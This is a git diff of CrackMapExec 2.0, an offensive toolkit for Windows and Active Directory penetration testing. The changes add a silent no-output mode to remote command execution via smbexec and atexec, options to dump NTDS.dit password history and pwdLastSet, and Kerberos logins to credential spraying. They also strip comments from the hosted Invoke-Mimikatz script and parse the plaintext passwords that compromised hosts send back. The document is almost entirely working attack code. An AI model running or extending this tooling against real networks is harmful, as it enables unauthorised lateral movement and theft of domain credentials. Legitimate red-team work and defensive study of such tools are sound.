diff --git a/core/executor.py b/core/executor.py
index 28938306..3b1686f6 100644
--- a/core/executor.py
+++ b/core/executor.py
@@ -25,14 +25,15 @@ class EXECUTOR:
elif settings.args.execm == 'smbexec':
smb_exec = SMBEXEC(command,
'{}/SMB'.format(settings.args.port),
- settings.args.user,
+ settings.args.user,
settings.args.passwd,
domain,
settings.args.hash,
settings.args.aesKey,
settings.args.kerb,
'SHARE',
- settings.args.share)
+ settings.args.share,
+ noOutput)
smb_exec.run(host)
elif settings.args.execm == 'atexec':
@@ -42,5 +43,6 @@ class EXECUTOR:
domain,
settings.args.hash,
settings.args.aesKey,
- settings.args.kerb)
+ settings.args.kerb,
+ noOutput)
atsvc_exec.play(host)
\ No newline at end of file
diff --git a/core/logger.py b/core/logger.py
index 574c0a0f..4876f0d0 100644
--- a/core/logger.py
+++ b/core/logger.py
@@ -77,7 +77,7 @@ def red(text):
return colored(text, 'red', attrs=['bold'])
def shutdown(exit_code):
- print colored("[*] ", 'blue', attrs=['bold']) + "KTHXBYE"
+ print_status("KTHXBYE")
sys.exit(int(exit_code))
def root_error():
diff --git a/core/maingreenlet.py b/core/maingreenlet.py
index 09cbaa5b..3ceda533 100644
--- a/core/maingreenlet.py
+++ b/core/maingreenlet.py
@@ -103,7 +103,9 @@ def connect(host):
if settings.args.lsa:
dumper.dump_LSA()
if settings.args.ntds:
- dumper.dump_NTDS(settings.args.ntds)
+ dumper.dump_NTDS(settings.args.ntds,
+ settings.args.ntds_history,
+ settings.args.ntds_pwdLastSet)
dumper.cleanup()
if settings.args.pass_pol:
diff --git a/core/passpoldump.py b/core/passpoldump.py
index 74216fd5..d18dee82 100644
--- a/core/passpoldump.py
+++ b/core/passpoldump.py
@@ -7,7 +7,7 @@ from impacket import version
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
-from time import strftime
+from time import strftime, gmtime
class PassPolDump:
KNOWN_PROTOCOLS = {
@@ -18,7 +18,7 @@ class PassPolDump:
def __init__(self, protocols = None,
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
if not protocols:
- self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
+ self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
else:
self.__protocols = [protocols]
@@ -40,13 +40,29 @@ class PassPolDump:
# Try all requested protocols until one works.
entries = []
for protocol in self.__protocols:
- protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
+ protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
- self.get_pass_pol(host)
+ dce = rpctransport.get_dce_rpc()
+ dce.connect()
+
+ dce.bind(samr.MSRPC_UUID_SAMR)
+
+ resp = samr.hSamrConnect(dce)
+ serverHandle = resp['ServerHandle']
+
+ resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
+ domains = resp['Buffer']['Buffer']
+
+ resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
+
+ resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
+ domainHandle = resp['DomainHandle']
+
+ self.get_pass_pol(addr, rpctransport, dce, domainHandle)
def convert(self, low, high, no_zero):
@@ -83,8 +99,7 @@ class PassPolDump:
time = str(days) + " minute "
return time
- def get_pass_pol(self, host):
- rpctransport, dce, domainHandle = self.connect(host)
+ def get_pass_pol(self, host, rpctransport, dce, domainHandle):
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
diff --git a/core/rpcquery.py b/core/rpcquery.py
index 971b2ef6..07d363bb 100644
--- a/core/rpcquery.py
+++ b/core/rpcquery.py
@@ -1,3 +1,4 @@
+import logging
from logger import *
from impacket.dcerpc.v5 import transport, srvs, wkst
from impacket.dcerpc.v5.dtypes import NULL
@@ -10,6 +11,7 @@ class RPCQUERY():
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
+ self.__local_ip = None
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
if hashes:
self.__lmhash, self.__nthash = hashes.split(':')
@@ -32,37 +34,45 @@ class RPCQUERY():
elif service == 'srvsvc':
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
+ self.__local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
return dce, rpctransport
def enum_lusers(self, host):
dce, rpctransport = self.connect(host, 'wkssvc')
- users_info = {}
- try:
- resp = wkst.hNetrWkstaUserEnum(dce, 1)
- lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
- except Exception:
- resp = wkst.hNetrWkstaUserEnum(dce, 0)
- lusers = resp['UserInfo']['WkstaUserInfo']['Level0']['Buffer']
+ resp = wkst.hNetrWkstaUserEnum(dce, 1)
+ lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
print_succ("{}:{} Logged on users:".format(host, settings.args.port))
- for luser in lusers:
- for fname in luser.fields.keys():
- print_message("{} {}".format(fname, yellow(luser[fname])))
+ for user in lusers:
+ print_att('{}\\{} {} {}'.format(user['wkui1_logon_domain'],
+ user['wkui1_username'],
+ user['wkui1_logon_server'],
+ user['wkui1_oth_domains']))
def enum_sessions(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
- session_info = {}
+ level = 502
try:
- resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
+ resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
except Exception:
- resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)
+ level = 0
+ resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
print_succ("{}:{} Current active sessions:".format(host, settings.args.port))
for session in sessions:
- for fname in session.fields.keys():
- print_message("{} {}".format(fname, yellow(session[fname])))
+ if level == 502:
+ if session['sesi502_cname'][:-1] != self.__local_ip:
+ print_att('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
+ session['sesi502_username'],
+ session['sesi502_num_opens'],
+ session['sesi502_time'],
+ session['sesi502_idle_time']))
+
+ elif level == 0:
+ if session['sesi0_cname'][:-1] != self.__local_ip:
+ print_att('\\\\{}'.format(session['sesi0_cname']))
def enum_disks(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
@@ -74,4 +84,5 @@ class RPCQUERY():
print_succ("{}:{} Available disks:".format(host, settings.args.port))
for disk in resp['DiskInfoStruct']['Buffer']:
for dname in disk.fields.keys():
- print_att(disk[dname])
+ if disk[dname] != '\x00':
+ print_att(disk[dname])
diff --git a/core/scripts/atexec.py b/core/scripts/atexec.py
index e5270944..a54aaba3 100755
--- a/core/scripts/atexec.py
+++ b/core/scripts/atexec.py
@@ -29,7 +29,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class TSCH_EXEC:
- def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False):
+ def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
self.__username = username
self.__password = password
self.__domain = domain
@@ -38,6 +38,7 @@ class TSCH_EXEC:
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__command = command
+ self.__noOutput = noOutput
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
@@ -61,8 +62,6 @@ class TSCH_EXEC:
def doStuff(self, rpctransport):
def output_callback(data):
- peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
- print_succ('{} Executed command via ATEXEC'.format(peer))
print_att(data.strip())
dce = rpctransport.get_dce_rpc()
@@ -112,11 +111,22 @@ class TSCH_EXEC:
cmd.exe
- /C %s > %%windir%%\\Temp\\%s 2>&1
+"""
+ if self.__noOutput is False:
+ xml+= """ /C %s > %%windir%%\\Temp\\%s 2>&1
""" % (self.__command, tmpFileName)
+
+ else:
+ xml+= """ /C %s
+
+
+
+ """ % (self.__command)
+
+ logging.info("Task XML: {}".format(xml))
taskCreated = False
try:
logging.info('Creating task \\%s' % tmpName)
@@ -145,26 +155,32 @@ class TSCH_EXEC:
if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
- smbConnection = rpctransport.get_smb_connection()
- waitOnce = True
- while True:
- try:
- logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
- smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
- break
- except Exception, e:
- if str(e).find('SHARING') > 0:
- sleep(3)
- elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
- if waitOnce is True:
- # We're giving it the chance to flush the file before giving up
+ peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
+ print_succ('{} Executed command via ATEXEC'.format(peer))
+
+ if self.__noOutput is False:
+ smbConnection = rpctransport.get_smb_connection()
+ waitOnce = True
+ while True:
+ try:
+ logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
+ smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
+ break
+ except Exception, e:
+ if str(e).find('SHARING') > 0:
sleep(3)
- waitOnce = False
+ elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
+ if waitOnce is True:
+ # We're giving it the chance to flush the file before giving up
+ sleep(3)
+ waitOnce = False
+ else:
+ raise
else:
raise
- else:
- raise
- logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
- smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
-
+ logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
+ smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
+ else:
+ logging.info('Output retrieval disabled')
+
dce.disconnect()
\ No newline at end of file
diff --git a/core/scripts/secretsdump.py b/core/scripts/secretsdump.py
index a4139653..44f70908 100755
--- a/core/scripts/secretsdump.py
+++ b/core/scripts/secretsdump.py
@@ -1694,7 +1694,7 @@ class NTDSHashes:
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
- print answer
+ print_att(answer)
if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate(
@@ -1705,7 +1705,7 @@ class NTDSHashes:
lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
- print answer
+ print_att(answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
@@ -1888,7 +1888,7 @@ class NTDSHashes:
logging.info('Kerberos keys grabbed')
for itemKey in self.__kerberosKeys.keys():
- print itemKey
+ print_att(itemKey)
# And finally the cleartext pwds
if len(self.__clearTextPwds) > 0:
@@ -1898,7 +1898,7 @@ class NTDSHashes:
logging.info('ClearText passwords grabbed')
for itemKey in self.__clearTextPwds.keys():
- print itemKey
+ print_att(itemKey)
# Closing output file
if self.__outputFileName is not None:
@@ -1940,14 +1940,14 @@ class DumpSecrets:
self.__securityHive = None #Local
self.__samHive = None #Local
self.__ntdsFile = None #Local
- self.__history = False #Might want to expose this
+ #self.__history = False #Might want to expose this
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = outputFile
self.__doKerberos = kerberos
self.__justDC = False #Might want to expose this
- self.__justDCNTLM = False #Might want to expose this
- self.__pwdLastSet = False #Might want to expose this
+ self.__justDCNTLM = True #Might want to expose this
+ #self.__pwdLastSet = False #Might want to expose this
self.__resumeFileName = None #Might want to expose this
def getBootKey(self):
@@ -1998,12 +1998,10 @@ class DumpSecrets:
def do_remote_ops(self):
bootKey = None
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
- if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
- self.__remoteOps.enableRegistry()
- bootKey = self.__remoteOps.getBootKey()
- # Let's check whether target system stores LM Hashes
- self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
-
+ self.__remoteOps.enableRegistry()
+ bootKey = self.__remoteOps.getBootKey()
+ # Let's check whether target system stores LM Hashes
+ self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
self.__bootKey = bootKey
def dump_SAM(self):
@@ -2035,7 +2033,7 @@ class DumpSecrets:
except Exception, e:
logging.error('LSA hashes extraction failed: %s' % str(e))
- def dump_NTDS(self, method):
+ def dump_NTDS(self, method, history, pwdLastSet):
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
vss = False
if method == 'vss':
@@ -2044,17 +2042,18 @@ class DumpSecrets:
else:
NTDSFileName = None
- self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=True, history=self.__history,
+ print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper()))
+ self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=vss, justNTLM=self.__justDCNTLM,
- pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
+ pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName)
try:
self.__NTDSHashes.dump()
except Exception, e:
logging.error(e)
if method != 'vss':
- logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
+ logging.info('Something wen\'t wrong with the DRSUAPI approach')
def cleanup(self):
logging.info('Cleaning up... ')
diff --git a/core/scripts/smbexec.py b/core/scripts/smbexec.py
index cbb9ed98..abbd7840 100755
--- a/core/scripts/smbexec.py
+++ b/core/scripts/smbexec.py
@@ -50,8 +50,8 @@ class SMBEXEC:
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
- def __init__(self, command, protocols = None,
- username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None):
+ def __init__(self, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
+
if not protocols:
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
@@ -65,6 +65,7 @@ class SMBEXEC:
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
+ self.__noOutput = noOutput
self.__share = share
self.__mode = mode
self.shell = None
@@ -96,7 +97,7 @@ class SMBEXEC:
if self.__mode == 'SERVER':
serverThread = SMBServer()
serverThread.start()
- self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
+ self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
self.shell.onecmd(self.__command)
self.shell.finish()
if self.__mode == 'SERVER':
@@ -107,7 +108,7 @@ class SMBEXEC:
self.shell.finish()
class RemoteShell(cmd.Cmd):
- def __init__(self, share, rpc, mode, serviceName):
+ def __init__(self, share, rpc, mode, serviceName, noOutput):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
@@ -117,6 +118,7 @@ class RemoteShell(cmd.Cmd):
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
+ self.__noOutput = noOutput
self.__rpc = rpc
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
@@ -127,19 +129,22 @@ class RemoteShell(cmd.Cmd):
logging.critical(str(e))
sys.exit(1)
- s = rpc.get_smb_connection()
-
- # We don't wanna deal with timeouts from now on.
- s.setTimeout(100000)
- if mode == 'SERVER':
- myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
- self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
-
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
- self.transferClient = rpc.get_smb_connection()
- self.do_cd('')
+
+ if self.__noOutput is False:
+ s = rpc.get_smb_connection()
+ # We don't wanna deal with timeouts from now on.
+ s.setTimeout(100000)
+ self.transferClient = rpc.get_smb_connection()
+ if mode == 'SERVER':
+ myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
+ self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
+ else:
+ logging.info('Output retrieval disabled')
+
+ #self.do_cd('')
def finish(self):
# Just in case the service is still created
@@ -188,6 +193,10 @@ class RemoteShell(cmd.Cmd):
def output_callback(data):
self.__outputBuffer += data
+ if self.__noOutput is True:
+ self.__outputBuffer = ''
+ return
+
if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, self.__output, output_callback)
self.transferClient.deleteFile(self.__share, self.__output)
@@ -198,11 +207,17 @@ class RemoteShell(cmd.Cmd):
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
def execute_remote(self, data):
- command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
- if self.__mode == 'SERVER':
- command += ' & ' + self.__copyBack
+ if self.__noOutput is False:
+ command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
+ if self.__mode == 'SERVER':
+ command += ' & ' + self.__copyBack
+ else:
+ command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
+
command += ' & ' + 'del ' + self.__batchFile
+ logging.info('Command in batch file: {}'.format(command))
+
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
@@ -218,5 +233,6 @@ class RemoteShell(cmd.Cmd):
self.execute_remote(data)
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
print_succ("{} Executed command via SMBEXEC".format(peer))
- print_att(self.__outputBuffer.strip())
+ if self.__noOutput is False:
+ print_att(self.__outputBuffer.strip())
self.__outputBuffer = ''
diff --git a/core/servers/mimikatz.py b/core/servers/mimikatz.py
index d5dbe286..5a609705 100644
--- a/core/servers/mimikatz.py
+++ b/core/servers/mimikatz.py
@@ -10,6 +10,7 @@ import BaseHTTPServer
import ssl
func_name = re.compile('CHANGE_ME_HERE')
+comments = re.compile('#.+')
class MimikatzServer(BaseHTTPRequestHandler):
@@ -23,6 +24,7 @@ class MimikatzServer(BaseHTTPRequestHandler):
with open('hosted/'+ self.path[4:], 'rb') as script:
ps_script = script.read()
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script)
+ ps_script = comments.sub('', ps_script)
self.wfile.write(ps_script)
elif settings.args.path:
@@ -43,16 +45,19 @@ class MimikatzServer(BaseHTTPRequestHandler):
data = self.rfile.read(length)
if settings.args.mimikatz:
- buf = StringIO(data).readlines()
- i = 0
- while i < len(buf):
- if ('Password' in buf[i]) and ('(null)' not in buf[i]):
- passw = buf[i].split(':')[1].strip()
- if len(passw) != 719: #Sometimes mimikatz gives long hexstrings instead of clear text passwords
+ try:
+ buf = StringIO(data).readlines()
+ i = 0
+ while i < len(buf):
+ if ('Password' in buf[i]) and ('(null)' not in buf[i]):
+ passw = buf[i].split(':')[1].strip()
domain = buf[i-1].split(':')[1].strip()
user = buf[i-2].split(':')[1].strip()
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
- i += 1
+
+ i += 1
+ except Exception as e:
+ print_error("Error while parsing Mimikatz output: {}".format(e))
elif settings.args.mimi_cmd:
print data
diff --git a/core/smartlogin.py b/core/smartlogin.py
index a024ba49..23686286 100644
--- a/core/smartlogin.py
+++ b/core/smartlogin.py
@@ -41,7 +41,10 @@ def smart_login(host, smb, domain):
user, passwd = user_pass.split(':')
try:
- smb.login(user, passwd, domain, lmhash, nthash)
+ if settings.args.kerb:
+ smbConnection.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey)
+ else:
+ smb.login(user, passwd, domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
settings.args.user = user
settings.args.passwd = passwd
@@ -106,7 +109,10 @@ def smart_login(host, smb, domain):
if user == '': user = "''"
try:
- smb.login(user, '', domain, lmhash, nthash)
+ if settings.args.kerb:
+ smbConnection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
+ else:
+ smb.login(user, '', domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash))
settings.args.user = user
settings.args.hash = ntlm_hash
@@ -122,7 +128,10 @@ def smart_login(host, smb, domain):
if passwd == '': passwd = "''"
try:
- smb.login(user, passwd, domain)
+ if settings.args.kerb:
+ smbConnection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
+ else:
+ smb.login(user, passwd, domain)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
settings.args.user = user
settings.args.passwd = passwd
diff --git a/crackmapexec.py b/crackmapexec.py
index a72bf2f6..baad7cc0 100755
--- a/crackmapexec.py
+++ b/crackmapexec.py
@@ -24,7 +24,7 @@ import sys
import os
VERSION = '2.0'
-CODENAME = '\'I have to change the name of this thing\''
+CODENAME = '\'I gotta change the name of this thing\''
if sys.platform == 'linux2':
if os.geteuid() is not 0:
@@ -39,23 +39,24 @@ parser = argparse.ArgumentParser(description="""
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
- Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
+ Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
- Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
+ Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
- Inspired by:
- @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
- @gojhonny's CredCrack https://github.com/gojhonny/CredCrack
- @pentestgeek's smbexec https://github.com/pentestgeek/smbexec
-{}: {}
-{}: {}
+ Inspired by:
+ @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
+ @gojhonny's CredCrack https://github.com/gojhonny/CredCrack
+ @pentestgeek's smbexec https://github.com/pentestgeek/smbexec
+
+ {}: {}
+ {}: {}
""".format(red('Version'),
yellow(VERSION),
red('Codename'),
yellow(CODENAME)),
formatter_class=RawTextHelpFormatter,
- version='2.0 - \'{}\''.format(CODENAME),
+ version='2.0 - {}'.format(CODENAME),
epilog='There\'s been an awakening... have you felt it?')
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)")
@@ -65,7 +66,7 @@ parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, h
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing a list of domain\\username:password or username:password entries")
parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name")
-parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default //./root/cimv2)')
+parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
@@ -78,6 +79,8 @@ rgroup = parser.add_argument_group("Credential Gathering", "Options for gatherin
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
+rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
+rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems')
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command')
rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
@@ -181,6 +184,11 @@ if args.combo_file and not os.path.exists(args.combo_file):
print_error('Unable to find combo file at specified path')
shutdown(1)
+if args.ntds_history or args.ntds_pwdLastSet:
+ if not args.ntds:
+ print_error('--ntds-history and --ntds-pwdLastSet require --ntds')
+ shutdown(1)
+
################################################################################################################
def get_targets(target):